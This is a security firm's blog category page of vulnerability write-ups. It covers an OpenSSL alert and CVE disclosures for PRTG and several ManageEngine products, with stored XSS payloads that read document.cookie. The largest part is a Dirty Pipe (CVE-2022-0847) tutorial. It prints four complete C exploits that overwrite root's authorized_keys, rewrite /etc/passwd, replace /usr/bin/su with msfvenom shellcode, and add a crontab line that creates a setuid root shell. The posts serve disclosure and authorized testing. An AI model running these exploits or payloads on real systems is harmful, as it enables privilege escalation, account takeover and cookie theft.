Category: Exploits

  • RAXIS THREAT ALERT: VULNERABILITY IN OPENSSL v3.0.x

    UPDATE: Subsequent to publication of this blog post, the OpenSSL vulnerabilities were assigned CVE-2022-37786 and CVE-2022-3602, patches were released by OpenSSL, and the threat level was downgraded from “critical” to “high.”

    In the cyberworld, news of a critical vulnerability affecting OpenSSL versions 3.0 – 3.0.6 will likely be the scariest part of Halloween ’22. Especially since the OG ‘critical’ rating from OpenSLL went to the aptly named “Heartbleed” bug from 2014.

    There is a lot of buzz online about this vulnerability, but here’s what we know for sure:

    • It really could be that serious. The OpenSSL project management team says it’s critical, and they are not known for crying ‘wolf’ without reason. By the organization’s standards, ‘critical’ means it may be easily exploitable, many users could be affected, and the destructive potential is high.
    • So, you definitely need to patch. OpenSSL’s software is ubiquitous in the world of security and encryption. Though 98% of instances are still version 1.1.1, the 1.5% using version 3.0.x includes some very popular Linux distributions, including Red Hat Enterprise Linux (RHEL) 9.x, Ubuntu version 22.04, and many others.
    • And you need to patch ASAP. OpenSSL is making the patch available tomorrow, November 1, beginning at 8 AM and should be complete by noon U.S. Eastern Time. According to an OpenSSL spokesman, the rationale behind announcing the vulnerability before the patch is ready is to give organizations time to identify the systems that need to be patched and assemble the resources necessary to do so.

    How can you be sure that all your relevant systems are patched? Once you’ve installed the updates, a comprehensive assessment of each host can insure you’ve properly updated. As always, a Raxis penetration test can also reveal unpatched or out-of-date software from OpenSSL or any other provider. What’s more, our team can show you proof of what assets are at risk and why.

  • CVE-2022-35739: PRTG Network Monitor Cascading Style Sheets (CSS) Injection

    I’m Matt Mathur, lead penetration tester here at Raxis. I recently discovered a cascading style sheet (CSS) injection vulnerability in PRTG Network Monitor.

    Summary

    PRTG Network Monitor does not prevent custom input for a device’s icon, which can be modified to insert arbitrary content into the style tag for that device. When the device page loads, the arbitrary CSS is inserted into the style tag, loading malicious content. Due to PRTG Network Monitor preventing “ characters, and from modern browsers disabling JavaScript support in style tags, this vulnerability could not be escalated into a Cross-Site Scripting vulnerability.

    Proof of Concept

    The vulnerability lies in a device’s properties and how they are verified and displayed within PRTG Network Monitor. When editing or creating a device, the device’s icon value is not verified to be one of the icon selections, and any text can be inserted in its place, as shown here:

    CSS Injection Payload

    When the device’s icon is then loaded in any subsequent pages (e.g., the Devices page), the content is loaded unescaped inside of the style tag, as shown below:

    Payload Insertion Point

    This allows malicious users to insert (almost) any CSS they want in place of the icon. A malicious user can cause an HTTP request to an arbitrary domain/IP address by setting a background-image property in the payload, as shown here:

    Payload Execution Causing HTTP Request to Controlled Server

    The impact of this vulnerability is less severe due to modern browsers preventing JavaScript in style tags, and from PRTG Network Monitor preventing “ characters in the payload. These steps prevent this vulnerability from being escalated into a Cross-Site Scripting vulnerability.

    Affected Versions

    Raxis discovered this vulnerability on PRTG Network Monitor version 22.2.77.2204.

    Remediation

    A fix for CVE-2022-35739 has not been released. When a fix is released, upgrade to the newest version to fully remediate the vulnerability. In the meantime, Raxis recommends keeping a small list of users who can edit devices to limit the impact of the vulnerability. CVE-2022-35739 has minimal damage potential and is difficult to execute, and thus does not warrant additional protections while waiting for a remediation.

    Disclosure Timeline
    • July 7, 2022 – Vulnerability reported to Paessler Technologies.
    • July 8, 2022 – Paessler Technologies begins investigating vulnerability.
    • July 14, 2022 – CVE-2022-35739 assigned to this vulnerability.
    • August 8, 2022 – Outreach to Paessler Technologies without response.
    • October 4, 2022 – Second outreach to Paessler Technologies without response.
    • October 7, 2022 – Third outreach to Paessler Technologies without response.
    • October 21, 2022 – Original blog post detailing CVE-2022-35739 released.
    CVE Links
  • CVE-2022-26653 & CVE-2022-26777: ManageEngine Remote Access Plus Guest User Insecure Direct Object References


    I’m Matt Dunn, lead penetration tester at Raxis, and I’ve uncovered a couple more ManageEngine vulnerabilities you should know about if your company is using the platform.

    Summary

    I discovered two instances in ManageEngine Remote Access Plus where a user with Guest permissions can access administrative details of the installation. In each case, an authenticated ‘Guest’ user can make a direct request to the /dcapi/ API endpoint to retrieve information. This allows the ‘Guest’ user to discover information about the connected Domains as well as the License information for the installation.

    Proof of Concept

    The two vulnerabilities are similar in that they allow a user with ‘Guest’ level permissions to access details about the installation. Each CVE refers to a specific piece of information that the user can retrieve, as detailed below:

    CVE-2022-26653 – The ‘Guest’ user can retrieve details of connected Domains.

    CVE-2022-26777 – The ‘Guest’ user can retrieve details about the installation’s License.

    The user with ‘Guest’ permissions can access all the Domain’s details, including the connected Domain Controller, the account used for authentication, and when it was last updated, as shown here:

    Guest User Can Access All Domain Details

    Similarly, the ‘Guest’ user can access all the License information, including the amount of users, amount of managed systems, who the license is for, and the exact build number, as shown below:

    Guest User Can Access All License Details

    Affected Versions

    Raxis discovered these vulnerabilities on ManageEngine Remote Access Plus version 10.1.2137.6.

    Remediation

    Upgrade ManageEngine Remote Access Plus to Version 10 Build 10.1.2137.15 or later which can be found here:

    Disclosure Timeline

    • February 16, 2022 – Vulnerabilities reported to Zoho
    • February 17, 2022 – Zoho begins investigation into reports
    • March 8, 2022 – CVE-2022-26653 is assigned to the Domain Details vulnerability
    • March 9, 2022 – CVE-2022-26777 is assigned to the License Details vulnerability
    • April 8, 2022 – Zoho releases fixed version 11 Build 10.1.2137.15 that addresses both vulnerabilities
    CVE Links

    CVE-2022-26653

    CVE-2022-26777

     

  • CVE-2022-25373: ManageEngine Support Center Plus Stored Cross-Site Scripting (XSS)


    I’m Matt Dunn, lead penetration tester at Raxis. Recently, I discovered a stored XSS in Support Center Plus. Here’s how a malicious actor might exploit it — and what you can do to prevent it.

    Summary

    A low-privileged user (e.g., the default guest user) can inject arbitrary JavaScript into the description of a new Request. When another user (including a high privileged user) views that request’s edit history, the payload is executed in the context of that new user’s browser. This can cause privilege escalation or other payload execution from low privileged users to other, possibly higher privileged users.

    Proof of Concept

    The vulnerability can be triggered by inserting html content in the description field of a new request. The payload I inserted as a guest user was:

    "><img src=x onerror="alert(document.cookie)"/>

    This payload being inserted is shown here:

    Payload Inserted as Guest User

    When another user (in this case an admin) views that request’s edit history, the JavaScript is executed in the context of the new user’s browser, as shown here:

    Payload Execution in Admin User Session

    This vulnerability allows any low privileged user to execute JavaScript on higher privileged or other low privilege user’s browsers once they view a request’s edit history. While the payload used here launches an alert box with the page’s cookie values, more dangerous payloads could be executed in this context as well.

    Affected Versions

    Raxis discovered this vulnerability on Manage Engine Support Center 11.0 Build 11019.

    Remediation

    Upgrade ManageEngine AD Support Center Plus to Version 11.0 Build 11020 or later immediately which can be found here:

    Disclosure Timeline
    • February 2, 2022 – Vulnerability reported to Zoho
    • February 14, 2022 – Zoho begins investigation into report
    • February 21, 2022 CVE-2022-25373 is assigned to this vulnerability
    • March 22, 2022 – Zoho releases fixed version 11.0 Build 11020

    CVE Links

     

  • CVE-2022-25245: ManageEngine Asset Explorer Information Leakage

    I’m Matt Dunn, a lead penetration tester at Raxis. Recently, I discovered an information leakage in ManageEngine Asset Explorer. This is a relatively minor information leakage, as it only leaks the currency that a current vendor uses. Though minor, it could lead to other inferred information such as vendor location based on their currency.

    Proof of Concept

    The information leakage occurs in the AJaxDomainServlet when given the action of getVendorCurrency. This servlet action does not require authentication, allowing a user to obtain a vendor’s currency with a GET request to a URL similar to the following:

    http://192.168.148.128:8011/domainServlet/AJaxDomainServlet?action=getVendorCurrency&vendorId=3

    In this example URL, we request the currency for the vendor with the specified vendorId. If the vendor doesn’t have an assigned currency, the dollar symbol is returned. If it does, the vendor’s specific currency identifier is returned, as shown here:

    Vendor Currency Revealed in Unauthenticated Request
    Affected Versions

    Raxis discovered this vulnerability on Manage Engine Asset Explorer Plus 6.9 Build 6970.

    Remediation

    Upgrade ManageEngine Asset Explorer to Version 6.9 Build 6971 or later, which can be found here:

    Disclosure Timeline
    • February 14, 2022 – Vulnerability reported to Zoho
    • February 15, 2022 – Zoho begins investigation into report
    • February 16, 2022 CVE-2022-25245 is assigned to this vulnerability
    • March 9, 2022 – Zoho releases fixed version 6.9 Build 6971
    CVE Links

     

  • Exploiting Dirty Pipe (CVE-2022-0847)

    The vulnerability described in CVE-2022-0847 allows any user to write to files that are read-only. This includes writing to files that are owned by root, allowing privilege escalation.

    Editor’s note: This blog post and associated code provided below are intended for use only by qualified professionals with written permission to test networks for vulnerabilities. To perform these operations without authorization is illegal.

    This articles describes four ways to exploit the so-called “Dirty Pipe” vulnerability by:

    1. Writing ssh keys to root’s authorized keys file
    2. Overwriting a setuid binary to give shell
    3. Writing to /etc/passwd
    4. Writing to a cron job to give access

    Note: The code has been modified from the original author to accomplish each of these tasks.

    For the exploits to work they need to overwrite information in the file. Any data already there is going to be overwritten, so take care to save a backup of the file. Also, you do need to have read privileges on the file for the exploit to work.

    Authorized Keys

    Default Linux installations that have the /root folder permissions restrict other users from reading it. There are exceptions, however, and a readable /root folder can be used to get to other users’ authorized keys.

    The first step is to check if the /root/.ssh/authorized_keys file is readable. The exploit writes to this file, so making a backup is prudent before taking any action.

    Reading and backing up root’s authorized keys

    The next step is to create an exploit to overwrite the public key in the /root/.ssh/authorized_keys file with one of an attacker’s choosing. To do this, you’ll need to get a file descriptor to the /root/.ssh/authorized_keys file.

    Opening a file descriptor to root’s authorized_keys

    If an SSH key does not already exist, the attacker must create one using ssh- keygen. Note that the algorithm and the length must match that of the existing key already in the root folder because this exploit cannot make the file larger.

    Generating new ssh-key for exploit

    Add the key to the exploit code as a variable to overwrite the public key that is in authorized keys for the victim user. Note that, during the exploit, the first byte will be preserved. Remove the first “s” from the ssh-rsa value to accommodate this behavior.

    Adding The ssh key to the exploit code

    Below is the complete code to exploit this vulnerability by overwriting the /root/.ssh/authorized_keys file. This attack is not limited to the root account; it could be used to compromise any user where authorized_keys file can be read.

    Full Authorized Key Exploit Code
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
    
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
    
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
    
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
    
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    
    int main(int argc, char **argv)
    {
        /* open roots authorized_keys file*/
        const char* path = "/root/.ssh/authorized_keys";
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
            perror("open failed");
            return EXIT_FAILURE;
        }
    
        /*Change this key to your key created with ssh-keygen*/
        /*Due to how the offsets work make sure to remove the first s of ssh-rsa*/
        const char* new_key = "sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCXXiSefiZJikyRlDX4f37G++VPni7URUVMgG5sRMq1BUOHAATBm+7n+JPe3/+cViimEOqRH3cI73OvGQz+NwJfVSrlRjxSzkOted36omqUkqDWOmbzaKSirKruj6oQltQ5keN3/opkvHbBturI/L0hB8rgaDPq35LfiaE1LRu/H5KGYib4B0oVnVbJ33u8/Y54Cwld7zIKTKdanvPwu2lmV0swYXuQHv3ydJAWMh/9HdFslj9BM43NsVakTqHBJ0qdC11tww0gieKMJlPgJYKCjW+2uahPYXsDNjW0+wl2wxxSqZnkBFFwsX5gahKwmxGVQLRX7rtYJ1Mnzu+ZdxlhQBy+lUsiWtfbdlj+i0tsO3zO2b9k2a6sXTpGzEYaQ9+nUnbpB3Ih5i2Oc3uimS0n2BbrynUKLzha5FmqW7uc+ZQGmkBy06pSHN2q39MhzmoluYFbVcb4lWgr1tUjoWh18WWHG+YM0ybj88DNhkFP3LYfj1WI/9YKrU0SxAAjxvU=\n";
        const size_t new_key_size = strlen(new_key);
    
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
    
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        long int offset = 0;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
    
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], new_key, new_key_size);
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < new_key_size) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
    
        printf("It worked!\n");
        return EXIT_SUCCESS;
    }

    After compiling and running the exploit, all that’s left is to login with the key and fix it so all other users can still login.

    Logging in as root with the new public key
    Passwd

    In this case we will open the /etc/passwd file and change the contents in order to change the root user’s password to something we know. This will overwrite the file so creating a backup is prudent before performing any overwrite actions.

    Code used to backup passwd. (Complete code block included below)

    The copy_file function was ported from a published dirtyCOW exploit by FireFart.

    After backing up the file, generate a passwd value in the correct format.

    Code to generate the new passwd line. (Complete code block follows)
    Full passwd Exploit Code
    /*Link with -lcrypt when compiling*/
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
    
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
    
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
    
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
    
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    
    int copy_file(const char *from, const char *to) {
      // check if target file already exists
      if(access(to, F_OK) != -1) {
        printf("File %s already exists! Please delete it and run again\n",
          to);
        return -1;
      }
    
      char ch;
      FILE *source, *target;
    
      source = fopen(from, "r");
      if(source == NULL) {
        return -1;
      }
      target = fopen(to, "w");
      if(target == NULL) {
         fclose(source);
         return -1;
      }
    
      while((ch = fgetc(source)) != EOF) {
         fputc(ch, target);
       }
    
      printf("%s successfully backed up to %s\n",
        from, to);
    
      fclose(source);
      fclose(target);
    
      return 0;
    }
    
    int main(int argc, char **argv)
    {
        const char* filename = "/etc/passwd";
        const char* backupname = "/tmp/passwd.bak";
    
        int temp = copy_file(filename, backupname);
        if (temp == -1) {
            return 1;
        }
    
        /*Change the password to whatever you want the new root user's password to be.*/
        const char* newPassword = "SecurePassword";
        const char* salt = "Salt";
    
        char* passwordHash = crypt(newPassword, salt);
    
        printf("%s\n", passwordHash);
        char generatedLine[400];
        sprintf(generatedLine, "oot:%s:0:0:Pwned:/root:/bin/bash\n", passwordHash);
        printf("New passwd line: %s", generatedLine);
    
        /* open the input file and validate the specified offset */
        const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
            perror("open failed");
            return EXIT_FAILURE;
        }
    
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
    
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        long int offset = 0;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
    
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], generatedLine, strlen(generatedLine));
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < strlen(generatedLine)) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
    
        printf("It worked!\n");
        printf("You can now login with root:%s\n", newPassword);
        return EXIT_SUCCESS;
        
    }

    At this point the exploit works as before; configure the appropriate pipe and insert the data to be written to the /etc/passwd file. As before, remove the first character of the string and then compile and run. Head is used to confirm /etc/passwd has changed, resulting in root’s password being changed to our controlled value. The complete exploit to overwrite the /etc/passwd file is shown below.

    Running exploit and logging in as root
    SetUID

    If the /root/.ssh/authorized_keys file is unwritable, we can use a setuid binary to overwrite it with a binary that will give us a root shell.

    First it’s necessary to create a binary that will instantiate a shell. This is fairly straight forward. It requires creation of a program that is a setuid program owned by root. This is necessary for the attack to successfully escalate privileges.

    Msfvenom is a popular utility for creating exploit binaries and can be used to create the shellcode for this attack.

    Creating an elf file with Msfvenom

    From there, convert the binary data to a hexadecimal representation using Python’s binascii library.

    Getting the hexdump of the new elf file

    Use the find utility to locate suitable root-owned setuid binaries for targeting.

    Find command to locate SUID binaries

    For our purposes, we will overwrite the su binary. The replacement code launches a shell and sets the uid (UserID) and gid (GroupID) to 0 (root’s). Here is the character array of the shell code that we dumped using the xxd utility.

    Array of bytes representing the shellcode used to patch the binary. (Complete code block included below)

    As before, comment out the first byte since that will be coming from the file on disk.

    As a best practice, backup the binary you choose to overwrite prior to performing the attack, and then compile the program and run it. Sha1sum is used below to confirm that the binary has changed. Once that’s complete, execute the program to get a root shell.

    Running exploit and using the patched SU binary to gain root access. (Complete code block follows)
    Full SetUID Exploit Code
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
    
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
    
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
    
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
    
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    
    int main(int argc, char **argv)
    {
        const char* filename = "/usr/bin/su";
        /*Elf file generated with msfvenom*/
        unsigned char elfcode[] = {
            /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 
            0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x9d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 
            0x48, 0x31, 0xff, 0x6a, 0x6a, 0x58, 0x0f, 0x05, 0x48, 0xb8, 0x2f, 
            0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 
            0x52, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05
        };
    
        u_int8_t *data = elfcode;
    
        const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
            perror("open failed");
            return EXIT_FAILURE;
        }
    
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
    
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        long int offset = 0;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
    
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], elfcode, sizeof(elfcode));
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < sizeof(data)) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
    
        printf("It worked!\n");
        return EXIT_SUCCESS;
    }
    Cron Job

    /etc/crontab is readable. Here we can add a new job that will copy bash to another location. Then we will set the copy with a setuid bit, allowing for execution as root.

    The below command sets a job that will copy the bash program to a .bak file and set the sticky bit.

    Cron job that will be used in exploit. (Full exploit code included below)

    As before, back up the file just in case something happens.

    Backing up the /etc/crontab

    For purposes of evasion, it may be helpful to minimize modifications to the beginning of the file .

    Here is the entire line used to write to /etc/crontab:

    Entire entry to be used in the exploit

    The space at the beginning is used to line up with the original line. Also, the first “#” will be included from the original file.

    Sha1sum again is used to verify the file changes:

    Running exploit and seeing the crontab file changed

    All that’s needed now is to run bash -p which will keep the root privileges:

    Using the new SUID bash binary to get root access
    Full Cron Jon Exploit Code:
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
    
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
    
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
    
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
    
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    
    int main(int argc, char **argv)
    {
        const char* filename = "/etc/crontab";
    
        const char* crontab_line = " /etc/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in /etc/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *\troot\tcp /usr/bin/bash /tmp/bash.bak; chmod u+s /tmp/bash.bak\n#.";
    
        /* open the input file and validate the specified offset */
        const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
    
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
    
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        long int offset = 0;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
    
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], crontab_line, strlen(crontab_line));
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < strlen(crontab_line)) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
    
        printf("It worked!\n");
        return EXIT_SUCCESS;
    }

    Note that a fresh install of Debian 11 was used to create these proof-of-concept attacks. It was necessary to boot using an old kernel since the new kernel was already patched against the vulnerability. This was done by selecting the advance boot options with grub and selecting the old kernel version 5.10.0-10-amd64.

    REMINDER: This blog post and associated code provided are intended for use only by qualified professionals with written permission to test networks for vulnerabilities. To perform these operations without authorization is illegal.

     

  • CVE-2022-24681: ManageEngine AD SelfService Plus Stored Cross-Site Scripting (XSS)

    I’m Matt Dunn, a lead penetration tester here at Raxis. Recently, I discovered a stored Cross-Site Scripting vulnerability in Zoho’s ManageEngine AD SelfService Plus.

    Summary

    The vulnerability exists in the /accounts/authVerify page, which is used for the forgot password, change password, and unlock account functionalities.

    Proof of Concept

    The vulnerability can be triggered by inserting html content, specifically tags that support JavaScript, into the first or last name of an Active Directory user. The following was inserted as a proof of concept to reflect the user’s cookie in an alert box:

    <img src=x onerror=”alert(document.cookie)”/>

    An example of this in the Last Name field of one such user is shown here:

    Stored XSS Payload

    The next time that user forgets, attempts to change, or is locked out of their account and they load the authVerify page, their name is presented without being sanitized. The unescaped HTML as loaded can be seen in Figure 2:

    Unescaped JavaScript Tags

    After the user attempts to reset their password, the malicious content is executed, as shown in Figure 3:

    JavaScript Execution to Display User's Cookie in an Alert Box

    If the user must change their password on login, the malicious content is executed, as shown in Figure 4:

    Payload Execution on Change Password Page

    If the user attempts to unlock their account, the malicious content is executed, as shown in Figure 5:

    Payload Execution on Account Unlock
    Affected Versions

    Raxis discovered this vulnerability on Manage Engine AD SelfService Plus 6.1 Build 6119.

    Remediation

    Upgrade ManageEngine AD SelfService Plus to Version 6.1 Build 6121 or later immediately:

    Disclosure Timeline
    • January 22, 2022 – Vulnerability reported to Zoho
    • January 22, 2022 – Zoho begins investigation into report
    • February 9, 2022 CVE-2022-24681 is assigned to this vulnerability
    • March 7, 2022 – Zoho releases fixed version 6.1 Build 6121
    CVE Links

     

  • Hackers See Opportunity Where You See Only a Button

    People are often surprised to find that a hacker doesn’t only attack a website through the authentication process. Our team members are experts at demonstrating why just enforcing password policies and lockout times doesn’t fully protect applications.

    In this article, we’re going to pull back the curtain and show you how hackers use web proxy tools to help exploit applications in ways you might never expect.

    How the Proxy Tool Works

    The proxy tool is software that follows the path data takes step-by-step from your device to the application server. Several such tools exist, but Burp Proxy (included in all versions of Burp Suite) is one of the most popular. Using Burp Proxy, hackers can bypass the user interface – the page you see when entering data – and change the information before it is sent to the application server. This makes it possible to avoid client-side controls, such as those that check that a phone number is only numeric or that an email address is formatted correctly. If the application server expects the client-side controls to have already validated data, the server code may not have all of the proper protections in place.

    In the image below, Burp Proxy, in “Intercept” mode, shows each step along the path that data follows from your device to an application server. The tool allows a user to tab from step to step and change the data that was input originally. If security features are built into the client (the interface you see) but not present on the application server, the proxy enables hackers to enter compliant data first, but change it however they want before it reaches the server.

    Burp Proxy in Intercept Mode shows the path your data travels

    One example of how hackers exploit this setup is through the commonly used buttons or checkboxes found in many apps. Most app developers are cautious about user input fields, but, because buttons, checkboxes, and radio buttons apparently limit data entry to “on-off” or “yes-no” choices, they often see little inherent risk. The problem is that, even though the user options are limited at the interface (client-side), they may not be limited by the code on the server itself (server-side).

    How a Proxy Tool can Reveal a Vulnerability

    The three illustrations below show how even a simple “submit” button can present opportunities for hackers.

    The choice here seems straightforward — either you click the button or you do not. But that choice masks what happens after you click “submit.”

    Save credit card information checkbox and submit button

